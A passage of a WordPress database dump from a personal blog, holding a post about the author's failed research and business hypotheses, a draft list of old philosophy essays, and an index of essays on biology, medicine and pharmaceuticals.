-->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3>Treating obesity-related asthma/inflammation</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>Hypothesis</strong>: it\'d be possible to alleviate obesity-related asthma (and other obesity-related disorders) with natural extracts that would have a beneficial effect both on inflammation and on weight/insulin resistance.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This would be better than the first-line treatment for inflammation, which is corticosteroids, which are notorious for weight loss.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Evidence</strong>: there are suggestive papers around curcumin, thymoquinone, and osthole regarding reducing inflammation and encouraging weight loss. Also, using corticosteroids as anti-inflammation in obesity-related diseases is weird, considering how notorious corticosteroids are for causing weight gain.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Unfortunately, I never knew how far to trust the papers on these sort of \"natural\" remedies, as they always seem to be by people with an agenda for these natural remedies who found exactly the biomarkers they looked for. Then, when I was even trying to clearly link to inflammation at all to obesity-related asthma, I find it\'s really only a disease found in women, and I had zero hypotheses for htat.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>What I learned</strong>: obesity and inflammation are really complicated. It\'s probably best not to mess with obesity, and inflammation is really best with a monoclonal antibody. Tnf-alpha inhibitors do pretty great with inflammation, although they have severe side effects.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2>Education business</h2>\n<!-- /wp:heading -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3>$1 live classes</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>Hypothesis:</strong> a good way to make some money would be to offer $1 live classes to mass groups of people.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Evidence</strong>: eh... none, really. I just offered it and see how it went.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Why it failed</strong>: it\'s hard to make money that way. Processing fees are murder on $1 classes (most of them charge some amount of cents per processing fee). Plus, I just don\'t like teaching live classes that much. It\'s pretty stress inducing.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>What I learned</strong>: pay attention to processing fees.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3>SAT/ACT tutoring</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>Hypothesis:</strong> I could hire Harvard undergrads to tutor kids in the SAT/ACT.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Evidence</strong>: Seemed pretty obvious.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Why it failed: </strong>I didn\'t really like it. I don\'t like the college admissions game or dealing with undergrads. The entire thing felt bad.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>What I learned</strong>: I wish it was \"don\'t try to do what you don\'t particularly like\", but that was a repeated mistake I made.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3>Selling prerecorded LSAT lectures</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>Hypothesis</strong>: I could sell my live LSAT classes as a recording.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Evidence</strong>: Seemed pretty obvious.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Why it failed</strong>: I was always aware that the LSAT, if they found out, would likely sue me, as I was using their copyrighted material and they\'re notoriously litigious. So, it made it hard to promote.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>What I learned:</strong> Either invite lawsuits or don\'t, but don\'t half-ass invite a lawsuit.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2>Other businesses</h2>\n<!-- /wp:heading -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3>Group buying for restaurants</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>Hypothesis</strong>: I could lower costs for food businesses by group buying for them, or at least finding out the price from food vendors.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Evidence</strong>: I was aware that price discovery for wholesale food was really hard.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Why it failed</strong>: food businesses don\'t want to talk to people they don\'t know about their invoices, in part because a lot of them are cheating on their taxes. Also, didn\'t have a convincing sales pitch because I didn\'t know anything.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>What I learned</strong>: don\'t get involved in businesses you don\'t know about.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3>Automated invoice entry</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>Hypothesis</strong>: it\'d make my group buying business easier if I could automate invoice entry (see the problem here?). Also maybe I could sell the invoice entry app.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Evidence</strong>: ehh...</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Why it failed</strong>: I did almost no research on what options were out there, and just went with my instinct.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>What I learned</strong>: research beforehand.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3>Automated receipt extraction from email</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>Hypothesis</strong>: something similar to Slice, where receipts would get extracted from the email. Not sure why I thought this was a good idea, to be honest.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Evidence</strong>: ehh...</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><b>W</b><strong>hy it failed</strong>: I did almost no research beforehand.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>What I learned: </strong>research beforehand (I learned this again).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3>Collaborative to-do list instead of email</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>Hypothesis</strong>: considering how many emails are either to-dos or checking on to-dos, it\'d be better if that was simply built into the email instead. I even created a name/app for it, <a href=\"http://nomorefollowups.com\">nomorefollowups.com</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Evidence</strong>: seemed self-evident, but the big question was always if people were willing to let it be part of their email process</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Why it failed</strong>: I initially planned it to be something my brother\'s company would use, which he agreed to. Then they got crazy busy, and no longer wanted to change any of their task management processes. I lost interest in promoting it because I never was that into it in the first place.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>What I learned</strong>: if you\'re not willing to put in a lot of hours into promoting your business (e.g. if you don\'t really like the space), don\'t start it.</p>\n<!-- /wp:paragraph -->','Failed hypotheses','','inherit','closed','closed','','12-revision-v1','','','2021-03-07 16:32:55','2021-03-07 16:32:55','',12,'https://trevorklee.com/2021/03/07/12-revision-v1/',0,'revision','',0),
(21,1,'2021-03-07 16:45:17','0000-00-00 00:00:00','<!-- wp:paragraph -->\n<p>These posts were written between January 2017 and January 2018, roughly.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>The philosophers\' thoughts</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/socrates-and-categorizations/\">Socrates and Categorizations</a>&nbsp;- Socrates, the first philosopher, developed a method to refine definitions and eliminate internal contradictions in thought. But his method has limitations.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/aristotle-and-logical-systems/\">Aristotle and logical systems</a> - Aristotle was a brilliant man who insisted that the world make sense to him. So he developed a way of making it so.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/francis-bacon-and-observation/\">Francis Bacon and observations</a>&nbsp;- Deduction is useful in many ways, but it can\'t produce new knowledge. Only induction can do that, but it\'s a tricky process. Francis Bacon tried to refine the method, and ended up being the first philosopher of science.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/descartes-and-radical-skepticism/\">Descartes and radical skepticism</a> - If skepticism is&nbsp;a hammer, Descartes saw all of philosophy as a wall of glass. And he was eager to start smashing.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/hume-and-the-problem-of-induction/\">Hume and the problem of induction</a>&nbsp;- Induction is super useful. It\'s a pity, therefore, that Hume showed it can never be justified. In short, nothing can ever be said to cause anything.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/immanuel-kant-and-intuition/\">Immanuel Kant and intuition</a>&nbsp;- According to Kant, thinking about thinking is like using a microscope to examine itself. It can\'t be done. Why? Intuition, or \"pre-processing\".</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/wittgenstein-and-the-limits-of-language/\">Wittgenstein and the limits of language</a> - Right now, I\'m attempting to use language to convey meaning. Is it working? Wittgenstein will tell us.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/karl-popper-and-falsificationism/\">Karl Popper and falsificationism</a> - Science is what allows men to fly, control electricity, and cheat death. It\'d probably be a good idea to figure out what exactly it is, then. Karl Popper is on the case.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>My own thoughts</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/12/10/on-improving-teaching-in-bjj/\">Recommendations for improving teaching in Brazilian jiu jitsu</a>&nbsp;- Brazilian Jiu Jitsu is a sport that I\'ve gotten to know pretty well over the last year and a half, and I think it\'s fantastic. But I think there\'s a lot of room for improvement in the teaching of BJJ, and I\'ve outlined those recommendations here. This essay also serves as a brief summary of my philosophy and practices as an educator, as applied to BJJ.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/the-limits-of-argumentation-preview/\">The limits of argumentation</a> - Philosophers (and everyone else) have traditionally used argumentation to determine truth. But this doesn\'t always work. Using the recent presidential debates, I\'ll explore when exactly argumentation breaks down.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/probability-bayesian-theory-and-causation/\">Probability, Bayesian theory, and causation</a>- Many philosophers have discussed the difficulties of saying that some event caused another event. The answer that most scientists have adopted is to say some event&nbsp;<em>probably</em> caused another event. Does this work? Not entirely.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/hard-science-soft-science-and-pseudoscience-preview/\">Hard science, soft science, and pseudoscience</a>&nbsp;- Some people say that Aristotle was the last man to know all the knowledge available in his time. The rest of us are forced to rely and even trust our lives on theories that we cannot understand or evaluate. This is a difficult problem, but it can be approached philosophically.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/thinking-about-big-numbers-preview/\">Thinking about big numbers</a>&nbsp;- We read in the news every day about thousands, millions, and billions, but these numbers are never put in context. This essay discusses a method of grappling with big numbers and making them understandable.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/how-to-valuate-a-company-preview/\">How to valuate a company</a>&nbsp;- One of humanity\'s favorite uses for our money is to use it to make more money, and one of our favorite ways of doing that is to invest our money in companies.&nbsp;This essay compares and contrasts two methods of doing that from a philosophical standpoint: Warren Buffett\'s and Andreesen Horowitz\'s.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/the-flow-of-money-preview/\">The flow of money</a>&nbsp;- It must be nice to be a bank. People just give you money and you can do whatever you want with it until they ask for it back. Fortunately, banks aren\'t the only ones who get to play with other people\'s money, and I\'m not even talking about kids with rich parents.</p>\n<!-- /wp:paragraph -->','Old posts','','draft','open','open','','','','','2021-03-07 16:45:17','2021-03-07 16:45:17','',0,'https://trevorklee.com/?p=21',0,'post','',0),
(22,1,'2021-03-07 17:53:59','2021-03-07 17:53:59','<!-- wp:paragraph -->\n<p>Want to read my latest essays, including essays I haven\'t yet uploaded to here? <a href=\"https://substack.com/@trevorklee\">Subscribe to my Substack</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Biology</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/the-chemical-reason-that-pfas-are-forever-chemicals/\" data-type=\"page\" data-id=\"538\">The chemical reason PFAS are \"forever chemicals\"</a> - they are very stable and they get picked up by everything that picks up fatty acids.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/the-evidence-on-plasticizer-health-harms/\" data-type=\"page\" data-id=\"528\">The evidence on plasticizer health harms</a> - Why I think NeutraOat is important.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/what-if-the-declines-of-aging-are-the-declines-of-taurine/\" data-type=\"page\" data-id=\"526\">What if the declines of aging are just the declines of taurine?</a> - Turns out that they aren\'t based on subsequent studies, but it was fun while it lasted.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/do-taurine-and-glycine-provide-answers-to-the-mammalian-gallbladder-and-kidney-mysteries/\" data-type=\"page\" data-id=\"524\">Do taurine and glycine provide answers to the mammalian gallbladder and kidney mysteries?</a> - Introducing a mystery you\'ve never heard of with an answer that doesn\'t work.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/some-ants-can-choose-to-live-5x-as-long/\" data-type=\"page\" data-id=\"518\">Some ants can choose to live 5x as long</a> - Insulin, gamergates, and ants doing fascinating ant stuff. I really like insulin.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/thinking-about-a-cure-for-pain-again/\" data-type=\"page\" data-id=\"504\">Thinking about a cure for pain, again</a> - Non-opioid lenses into solving the pain problem</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/cracking-biological-emergence-with-mechanistic-interpretability/\" data-type=\"page\" data-id=\"500\">Cracking biological emergence with mechanistic interpretability</a> - Stumbling my way through an essay/company by Adam Green I found fascinating. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I<a href=\"https://trevorklee.com/if-langurs-can-drink-seawater-can-humans-do-so-as-well/\" data-type=\"page\" data-id=\"498\">f langurs can drink seawater, can humans as well?</a> - Exploring the mystery of the seawater drinking Cat Ba langurs, and advocating for stupid genetic modifications in humans.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/no-human-genes-have-truly-100-penetrance/\" data-type=\"page\" data-id=\"496\">No human genes have truly 100% penetrance</a> - A spicy take that depends on precise definitions and annoyed geneticists.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/is-lactate-as-important-as-glucose-for-metabolism/\">Is lactate as important as glucose for metabolism?</a> - The evidence for and against the lactate shuttle hypothesis.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/how-do-waterdwelling-turtles-survive-the-winter/\">How do waterdwelling turtles survive the winter?</a> - Turtles survive the winter by not breathing, and they survive not breathing by not moving and buffering and sequestering lactic acid in their shells and maybe bones.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/on-the-safety-of-microplastics/\" data-type=\"page\" data-id=\"448\">On the safety of microplastics</a> - Trying to explain what we know and don\'t know about the safety of microplastics. That being said, don\'t eat them if you can avoid them.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/is-longevity-a-choice-how-about-obesity/\" data-type=\"page\" data-id=\"446\">Is longevity a choice? How about obesity?</a> Coming back to cavefish to argue that any of us could become cavefish if we believed in ourselves.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/the-problem-with-the-traditional-story-of-obesity/\" data-type=\"page\" data-id=\"444\">The way scientists think about obesity now is wrong</a> - Arguing towards a new understanding of obesity</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/glp-1-and-gip-agonism-and-antagonism-is-weird/\" data-type=\"page\" data-id=\"442\">GLP-1 and GIP agonism and antagonism is weird</a> - Adding onto the previous. They are really, really weird and hard to understand, despite being very useful.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/the-twin-mysteries-of-glp-1-receptor-agonists/\" data-type=\"page\" data-id=\"440\">The twin mysteries of GLP-1 receptor agonists</a> - GLP-1 receptor agonists are full of mysteries.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/5-whys-of-diabetes/\" data-type=\"page\" data-id=\"431\">5 Whys of Diabetes</a> - A neat new approach to studying chronic diseases: by asking why a bunch of times.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/mendelian-randomization-or-causation-from-correlation/\" data-type=\"page\" data-id=\"429\">How to get causation from correlation in genetics</a> - Mendelian randomization is neat. I explain it here.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/ground-squirrel-microbiomes-are-neat-unlike-human-microbiomes/\" data-type=\"page\" data-id=\"425\">Ground squirrel microbiomes are neat, unlike human microbiomes</a> - Celebrating ground squirrels and dissing humans.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/anthropocentrism-insulin-and-obese-long-lived-cavefish/\" data-type=\"page\" data-id=\"419\">Anthropocentrism, obesity, and long-lived cavefish</a> - Introducing the fat, eyeless, long-lived cavefish.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-dont-hummingbirds-get-diabetes/\" data-type=\"page\" data-id=\"415\">Why don\'t hummingbirds get diabetes?</a> A fun paper exploring the genetic adaptations of hummingbirds to a high glucose diet.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/is-this-all-the-medicine-we-were-promised/\" data-type=\"page\" data-id=\"403\">Is this all the medicine we were promised?</a> Complaining about lecanemab and other so-so medications.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/does-herpes-cause-dementia-maybe-but-im-not-convinced/\" data-type=\"page\" data-id=\"393\">Does herpes cause dementia?</a> I doubt it, but I try to give it a fair shake.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/a-miracle-drug-sold-over-the-counter/\" data-type=\"page\" data-id=\"383\">A miracle drug sold over the counter</a> - Exploring one of my favorite drugs.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/should-you-work-for-neuralink-probably-not/\" data-type=\"page\" data-id=\"371\">Should you work for Neuralink? Probably not. </a>- I find out that judging Elon Musk\'s companies is hard. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/bacterial-vaginosis-we-contain-multitudes/\" data-type=\"page\" data-id=\"364\">Bacterial vaginosis</a> - On the causes, consequences, and treatment of BV.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/diagnosing-and-treating-chronic-cough/\" data-type=\"page\" data-id=\"342\">Diagnosing and treating chronic cough</a> - Self-explanatory. Same vein as my IBS post.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/the-place-of-ai-chatgpt-in-drug-discovery/\" data-type=\"page\" data-id=\"334\">The place of AI/ChatGPT in drug discovery</a> - For actual drug discovery, it might never be helpful. But, for the stuff around drug discovery (like keeping track of project timelines), I\'m hopeful.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/prilosec-nexium-and-the-narrowing-of-american-pharmaceutical-ambition/\" data-type=\"page\" data-id=\"332\">Prilosec, Nexium, and the narrowing of American pharmaceutical ambition</a> - Discussing how Prilosec (omeprazole) was a really cool, impressive drug, then its sequel, Nexium (esomeprazole), was a shameless cash grab. The manufacturer got its comeuppance though, when Nexium, uh, made $50 billion over its lifetime.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/steelmanning-chiropractic%ef%bf%bc/\" data-type=\"page\" data-id=\"317\">Steelmanning chiropractic</a> - Trying to prove that chiropractors have some useful ideas. This proved to be an insanely controversial post on Reddit. People hate chiropractors.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/how-ive-tried-to-fix-my-lower-back-pain/\" data-type=\"page\" data-id=\"319\">How I\'ve tried to fix my lower back pain</a> - Exploring a variety of methods to fix lower back pain and then just ending up back at stretching and strengthening.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/biology-has-analogies-not-paradigms%ef%bf%bc/\" data-type=\"page\" data-id=\"323\">Biology has analogies, not paradigms</a> - Talking about how, unlike Kuhn or Popper\'s models of science, there are no real paradigms or falsification of models in molecular biology. There are just analogies, which are imperfect but useful.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-does-the-flu-covid-make-us-tired%ef%bf%bc/\" data-type=\"page\" data-id=\"303\">Why does the flu/COVID make us tired</a>? - Inspired by a recent bout with COVID, trying to figure out why COVID makes us so exhausted. Discusses the relationship between adenosine and sleep vs. glucose and fatigue (i.e. the tired you get at night vs. the tired you get after a marathon).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/are-being-big-and-old-risk-factors-for-cancer-or-not%ef%bf%bc/\" data-type=\"page\" data-id=\"301\">Are being big and old risk factors for cancer or not?</a> - Returning back to the question of the relationship of age and size with cancer. Why is a fat 3-year-old mouse so much more likely to get cancer than a 100-year-old whale?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/obesitys-relationship-with-type-2-diabetes-is-really-weird/\" data-type=\"page\" data-id=\"287\">Obesity\'s relationship with type 2 diabetes is really weird</a> - Once again, I go down the rabbit hole of obesity\'s weird health effects. This time, it\'s exploring type 2 diabetes, and why it\'s so easy to reverse and then un-reverse. It\'s weird!</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/a-medical-thought-experiment/\" data-type=\"page\" data-id=\"283\">A medical thought experiment</a> - Traveling back in time to see if one could rediscover germ theory in the year 1650. Then, a twist!</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/you-should-justify-your-exclusion-criteria/\">You should justify your exclusion criteria</a> - Discussing the use of exclusion criteria in medical intervention studies. Too often, they\'re used to redefine conditions into different ones than are discussed in the abstract.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/can-gene-therapy-fix-any-genetic-defect/\">Can gene therapy fix any genetic defect?</a> - Talking about the sorts of things gene therapy is good for and the sorts of things it really isn\'t.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/the-manifold-effects-of-tetracycline/\">The manifold effects of tetracycline</a> - Elaborating on the weirdly long list of effects of tetracycline and celebrating \"dirty\" drugs. Did you know tetracycline can cause teeth graying?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/ebv-causes-multiple-sclerosis-so-what/\" data-type=\"page\" data-id=\"263\">Epstein-Barr virus causes multiple sclerosis. So what?</a> - I question the implications of the most exciting epidemiological study of the year.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/should-you-take-metformin-for-longevity/\">Should you take metformin for longevity? No.</a> - Sorry for the spoiler, but in this essay, I take a look at the promise of metformin now for longevity, and the promise of metformin as a longevity therapeutic in the future. Neither impresses me.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/want-to-reverse-aging-try-reversing-graying-first/\">Want to reverse aging? Try reversing graying, first</a>. - Looking at the difficulties of graying research and comparing them with the much greater difficulties of general aging research. Also, looking at spontaneous re-pigmentation as possibly the only example of \"reversing\" aging in humans, and what can be learned from that.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-did-they-give-antidepressants-to-covid-patients/\" data-type=\"page\" data-id=\"234\">Why did they give antidepressants to COVID patients?</a> - Looking at the TOGETHER trial, which gave fluvoxamine to COVID patients in Brazil, as an example of repurposing gone right. I talk about the scientific background of the trial, why its success is hard to replicate (especially the funding parts), and the hacky ways for-profit companies try to do their own repurposing trials.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/organ-transplant-patients-maybe-dont-get-dementia-heres-why/\" data-type=\"page\" data-id=\"229\">Why organ transplant patients may not get dementia</a> - Exploring the implications of a paper that claims that patients on calcineurin inhibitors, a specific type of immunosuppressant commonly given to organ transplant patients, don\'t get dementia. One of these implications is that, if the paper\'s right, investors should give me money.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-cant-we-just-give-steroids-to-people-with-muscular-dystrophy/\" data-type=\"page\" data-id=\"195\">Why can\'t we just give steroids to people with muscular dystrophy?</a> -  Short answer: muscular dystrophy destroys the muscles, while steroids just recruit more muscle fibers that would be destroyed. It took 12 years and over a billion dollars to get to that answer, though.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/a-lesser-known-mechanism-for-alcohol-tolerance/\" data-type=\"page\" data-id=\"180\">A lesser known mechanism for alcohol tolerance</a> - exploring the mystery of alcoholics who walk around with a blood-alcohol level that would literally kill a non-drinker. I argue that the answer is modification to BK channels.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-bigger-species-live-longer-and-what-we-can-learn-from-it/\" data-type=\"page\" data-id=\"85\">Why bigger species live longer and what we can learn from it</a> - simple observation: bigger species live longer than smaller species (elephants vs. mice), but bigger breeds live shorter than smaller breeds (St. Bernards vs. Chihuahuas). This essay argues that immunology is the key.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/a-complete-guide-to-self-diagnosing-and-self-treating-ibs/\" data-type=\"page\" data-id=\"58\">A complete guide to self-diagnosing and self-treating IBS</a> - Self-explanatory. This is the sort of guide I wished I had when I was suffering through IBS.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/are-mrna-therapies-the-future-of-pharmaceuticals/\" data-type=\"page\" data-id=\"54\">Are mRNA therapies the future?</a> - Examining the hype around mRNA. Hype is partially busted: mRNA is cool, but it\'s not a cure-all, and at this point it\'s difficult to imagine it being effective in non-vaccine therapeutics.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-oncology-is-so-popular-for-pharmaceuticals/\">Why oncology is so popular for pharmaceuticals</a> - Discussing the economic reasons why oncology is such an attractive category for pharma companies, as well as the statistical reasons. Hint: it\'s because oncology drugs use bullshit measurements.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/what-is-the-role-of-inflammation-in-the-immune-system/\" data-type=\"page\" data-id=\"40\">What exactly 